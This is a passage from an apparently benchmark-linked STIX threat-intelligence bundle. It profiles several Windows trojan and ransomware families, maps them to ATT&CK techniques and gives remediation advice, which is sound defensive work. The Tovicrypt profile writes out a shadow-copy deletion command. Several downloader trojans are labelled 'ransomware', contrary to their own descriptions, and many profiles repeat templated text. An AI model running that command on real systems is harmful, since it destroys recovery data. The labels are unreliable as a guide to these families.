      "description": "<h3>Executive Summary</h3>\nTotbrick is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nTotbrick is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Totbrick operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Totbrick ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Totbrick receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Totbrick infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Totbrick executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Totbrick frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Totbrick",
        "Downloader.Totbrick",
        "Win32/Totbrick"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Totbrick",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/totbrick"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--49d885eb-4c1d-5153-b8b7-30374cbd9a36",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e41c4edf-e9c9-5902-b1b5-467a81f14b03",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Totbrick exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--503ef875-1f3a-51cc-8b62-bfff38615dc5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e41c4edf-e9c9-5902-b1b5-467a81f14b03",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Totbrick exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--47d36761-a063-55b1-a1d7-a5fa518def99",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e41c4edf-e9c9-5902-b1b5-467a81f14b03",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Totbrick exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ba9b013a-b8b3-5190-be9e-1ec08db84409",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Tougle",
      "description": "Trojan:Win32/Tougle is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Tougle</b><br>To an end-user, a Tougle infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Tougle is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Tougle is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Tougle frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Tougle reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Tougle",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/tougle"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0ba49649-65ad-5af2-9eaa-9eb14d79e886",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ba9b013a-b8b3-5190-be9e-1ec08db84409",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tougle exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--73e094f0-369a-55d1-a53b-0f396be06104",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ba9b013a-b8b3-5190-be9e-1ec08db84409",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tougle exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f6745926-ede6-5e78-ae9d-f0f63dde12f3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ba9b013a-b8b3-5190-be9e-1ec08db84409",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tougle exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4672f408-3f75-5f36-b3b3-2987b4ee739f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ba9b013a-b8b3-5190-be9e-1ec08db84409",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tougle exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a223500a-68ed-567f-bb6b-e98d743d5502",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ba9b013a-b8b3-5190-be9e-1ec08db84409",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tougle exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--aef88b70-08ba-588e-be8d-a010f4e9f7ee",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Tovicrypt",
      "description": "Ransomware:Win32/Tovicrypt is a generic detection applied to a variety of simpler, often commercially available or 'script-kiddie' level crypto-ransomware variants. While it may not possess the advanced network propagation or EDR evasion techniques of apex predators like Ryuk or Conti, it is still highly effective at its core objective: encrypting the victim's data and demanding payment.<br><br><b>Understanding Tovicrypt (Commodity Ransomware)</b><br>To an end-user, a Tovicrypt infection results in the immediate loss of access to their personal or business files. Documents, photos, and databases are encrypted (`T1486`), their extensions are changed, and a ransom note (usually a `.txt` or `.html` file) is dropped on the desktop demanding Bitcoin. For an incident response team, this detection indicates a failure of initial defenses (phishing filters or RDP security).<br><br><b>Execution and Encryption Mechanics</b><br>Tovicrypt variants are typically delivered via mass phishing campaigns (`T1566.001`), exploit kits, or by attackers brute-forcing exposed Remote Desktop Protocol (RDP) servers (`T1133`). Upon execution (`T1204.002`), the ransomware quickly iterates through local drives and mapped network shares (`T1083`). It utilizes standard cryptography APIs (like Microsoft CryptoAPI) to encrypt files. To ensure the victim cannot easily recover, it almost always executes a command to delete the Windows Volume Shadow Copies (`vssadmin.exe Delete Shadows /All /Quiet`) (`T1490`). It communicates with its C2 server to transmit the generated encryption key.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is significant data loss and operational downtime. Host-based IoCs include the rapid modification of files, the presence of ransom notes in every affected directory, and the execution of `vssadmin.exe` or `wbadmin.exe`. Network IoCs may include HTTP POST requests to suspicious domains transmitting the victim's machine ID and encryption keys. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Tovicrypt",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/tovicrypt"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8ea6d0d2-ea0a-5214-8d1d-f9019d36d0c3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--aef88b70-08ba-588e-be8d-a010f4e9f7ee",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tovicrypt exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b731f530-d966-58cf-aa79-00f6aaa7b2ff",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--aef88b70-08ba-588e-be8d-a010f4e9f7ee",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tovicrypt exhibits technique T1490 (Inhibit System Recovery (Deleting Shadow Copies))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e185c1d3-7ae1-5404-b63d-f61b842ed49d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--aef88b70-08ba-588e-be8d-a010f4e9f7ee",
      "target_ref": "attack-pattern--36cc183d-43e0-5df7-9059-7bc6b49000e5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tovicrypt exhibits technique T1083 (File and Directory Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--37aa1eb1-7639-58cf-9c4b-7b59d7f86afd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--aef88b70-08ba-588e-be8d-a010f4e9f7ee",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tovicrypt exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--84e8446d-967d-5f42-8c90-ed79890ec1df",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Tovus",
      "description": "Trojan:Win32/Tovus is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Tovus</b><br>To an end-user, a Tovus infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Tovus is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Tovus is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Tovus frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Tovus reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 10)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Tovus",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/tovus"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--46b6adce-48a8-506f-9740-e2980932e3f7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--84e8446d-967d-5f42-8c90-ed79890ec1df",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tovus exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7a1377ab-6925-52c4-a68d-eadf75622aba",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--84e8446d-967d-5f42-8c90-ed79890ec1df",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tovus exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fd8c465e-0ddd-5989-97cf-245ff5171a32",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--84e8446d-967d-5f42-8c90-ed79890ec1df",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tovus exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--81ec5edf-d9b4-54df-8a5e-b66cf4d7c7de",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--84e8446d-967d-5f42-8c90-ed79890ec1df",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tovus exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dc95810a-eb22-544b-8e82-7a99ed40b3f2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--84e8446d-967d-5f42-8c90-ed79890ec1df",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tovus exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--21ad2afe-c43b-506b-b6d0-eba15ff4f4e9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Tpyn",
      "description": "Tpyn (cataloged across security vendors and threat intelligence databases under signatures including Trojan:Win32/Tpyn, Backdoor:Win32/Tpyn, and Trojan.Tpyn) is a stealthy Windows trojan and initial access stager active since 2018. Designed to breach endpoint perimeter defenses and securely deliver secondary payloads, Tpyn functions as a staging tool for cybercrime syndicates. Upon execution, the malware profiles the host environment to detect analysis sandboxes or virtual machine hypervisors. If clean, Tpyn establishes persistence via Windows Registry Run keys or hidden scheduled tasks, hollows legitimate system processes such as explorer.exe or svchost.exe, and establishes encrypted HTTPS communications with remote command-and-control servers to download ransomware, banking trojans, or infostealers. (Observed samples in benchmark: 52)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Tpyn",
        "Backdoor:Win32/Tpyn",
        "Trojan.Win32.Tpyn",
        "Win32/Tpyn",
        "HEUR:Trojan.Win32.Tpyn"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Tpyn",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/tpyn"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a58ebeb0-3c99-5af6-80a7-19069b2c1481",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Trabin",
      "description": "Trojan:Win32/Trabin is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Trabin</b><br>To an end-user, a Trabin infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Trabin is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Trabin is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Trabin frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Trabin reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Trabin",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/trabin"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4284c115-bff8-5909-8209-00c60da60ddd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a58ebeb0-3c99-5af6-80a7-19069b2c1481",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Trabin exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dc953e6c-3814-562e-b0da-1fecec998d7d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a58ebeb0-3c99-5af6-80a7-19069b2c1481",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Trabin exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2bb382ea-0a10-56e0-ace7-fe58b467e7da",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a58ebeb0-3c99-5af6-80a7-19069b2c1481",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Trabin exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dd3f6816-af46-5256-afed-f74c40c4fcf3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a58ebeb0-3c99-5af6-80a7-19069b2c1481",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Trabin exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7c9a744c-d558-5fc8-9649-a99f0ef5da89",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a58ebeb0-3c99-5af6-80a7-19069b2c1481",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Trabin exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--aa2a029a-9734-5da5-be48-36fed43b7713",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Tracur",
      "description": "<h3>Executive Summary</h3>\nTracur is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nTracur is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Tracur operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Tracur ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Tracur receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Tracur infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Tracur executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Tracur frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Tracur",
        "Downloader.Tracur",
        "Win32/Tracur"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Tracur",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/tracur"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6339071b-b924-58d2-8ea8-3f88bbfc42f5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--aa2a029a-9734-5da5-be48-36fed43b7713",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tracur exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ce743d87-d922-5b94-9aaa-3d067f916025",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--aa2a029a-9734-5da5-be48-36fed43b7713",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tracur exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--942a48bc-ed17-54c8-82f9-20d0d2a045cb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--aa2a029a-9734-5da5-be48-36fed43b7713",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tracur exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--09ceb3c9-55e2-540d-a648-a33a9f140062",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Trafog",
